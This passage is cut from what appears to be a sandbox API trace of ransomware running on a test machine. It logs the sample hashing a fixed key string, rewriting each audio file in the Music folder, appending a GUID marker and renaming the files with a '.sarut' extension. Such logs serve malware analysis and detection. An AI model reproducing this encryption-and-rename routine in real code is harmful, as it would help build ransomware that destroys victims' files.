dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.951] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.951] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.951] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.951] GetLastError () returned 0x0 [0268.951] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.951] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0268.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.951] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10ed0) returned 0x311d708 [0268.951] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.951] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x10ec9, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x10ec9, lpOverlapped=0x0) returned 1 [0268.952] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.952] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ece, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.952] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.952] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.952] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.952] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.952] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.952] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.952] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.952] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.952] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.952] CloseHandle (hObject=0x5c4) returned 1 [0268.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.957] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8GQt402SpMYiSB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8gqt402spmyisb.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8GQt402SpMYiSB.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8gqt402spmyisb.mp3.sarut")) returned 1 [0268.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.958] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b960, ftCreationTime.dwHighDateTime=0x1d4cba7, ftLastAccessTime.dwLowDateTime=0x6be9ed50, ftLastAccessTime.dwHighDateTime=0x1d4cecc, ftLastWriteTime.dwLowDateTime=0x6be9ed50, ftLastWriteTime.dwHighDateTime=0x1d4cecc, nFileSizeHigh=0x0, nFileSizeLow=0x94ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9Tpbrmx9-eI2m3we6r.mp3", cAlternateFileName="9TPBRM~1.MP3")) returned 1 [0268.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0268.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.960] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9Tpbrmx9-eI2m3we6r.mp3") returned=".mp3" [0268.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9Tpbrmx9-eI2m3we6r.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9tpbrmx9-ei2m3we6r.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.960] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=38122) returned 1 [0268.960] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.962] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x94c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.962] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.964] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.964] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x94ea, lpOverlapped=0x0) returned 1 [0268.965] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.965] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.965] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.965] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0268.966] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.966] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.966] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.966] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.966] GetLastError () returned 0x0 [0268.967] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.967] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0268.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x94f0) returned 0x311d708 [0268.967] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.967] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x94e5, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x94e5, lpOverlapped=0x0) returned 1 [0268.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.967] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x94ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.968] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.968] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.968] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.968] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.968] CloseHandle (hObject=0x5c4) returned 1 [0268.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0268.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0268.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9Tpbrmx9-eI2m3we6r.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9tpbrmx9-ei2m3we6r.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9Tpbrmx9-eI2m3we6r.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9tpbrmx9-ei2m3we6r.mp3.sarut")) returned 1 [0268.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.974] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0268.975] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5611590, ftCreationTime.dwHighDateTime=0x1d4d4fd, ftLastAccessTime.dwLowDateTime=0xa8571790, ftLastAccessTime.dwHighDateTime=0x1d4c99f, ftLastWriteTime.dwLowDateTime=0xa8571790, ftLastWriteTime.dwHighDateTime=0x1d4c99f, nFileSizeHigh=0x0, nFileSizeLow=0x5e2b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ArZI.wav", cAlternateFileName="")) returned 1 [0268.975] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.975] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.976] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ArZI.wav") returned=".wav" [0268.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ArZI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\arzi.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.980] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=24107) returned 1 [0268.980] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.984] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5e05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.984] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.985] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.985] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x5e2b, lpOverlapped=0x0) returned 1 [0268.988] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.988] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.988] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.988] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0268.990] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.990] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.990] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.990] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.990] GetLastError () returned 0x0 [0268.990] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.990] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0268.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.990] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x5e30) returned 0x311d708 [0268.990] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.990] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x5e26, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x5e26, lpOverlapped=0x0) returned 1 [0268.990] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.990] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5e2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.991] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.991] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.991] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.991] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.991] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.991] CloseHandle (hObject=0x5c4) returned 1 [0268.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0268.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.992] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ArZI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\arzi.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ArZI.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\arzi.wav.sarut")) returned 1 [0268.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.993] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.994] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0268.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.994] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0268.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.994] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x168fcbc0, ftCreationTime.dwHighDateTime=0x1d4c6e5, ftLastAccessTime.dwLowDateTime=0xf0b516a0, ftLastAccessTime.dwHighDateTime=0x1d4c985, ftLastWriteTime.dwLowDateTime=0xf0b516a0, ftLastWriteTime.dwHighDateTime=0x1d4c985, nFileSizeHigh=0x0, nFileSizeLow=0x132bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EfZdtNhwP.wav", cAlternateFileName="EFZDTN~1.WAV")) returned 1 [0268.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.994] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EfZdtNhwP.wav") returned=".wav" [0268.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EfZdtNhwP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\efzdtnhwp.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.995] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=78523) returned 1 [0268.995] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.997] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13295, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.997] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.999] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.999] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x132bb, lpOverlapped=0x0) returned 1 [0269.000] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.000] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.000] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.000] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.001] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.001] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.001] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.001] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.001] GetLastError () returned 0x0 [0269.001] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.001] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x132c0) returned 0x311d708 [0269.002] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.002] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x132b6, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x132b6, lpOverlapped=0x0) returned 1 [0269.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.002] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x132bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 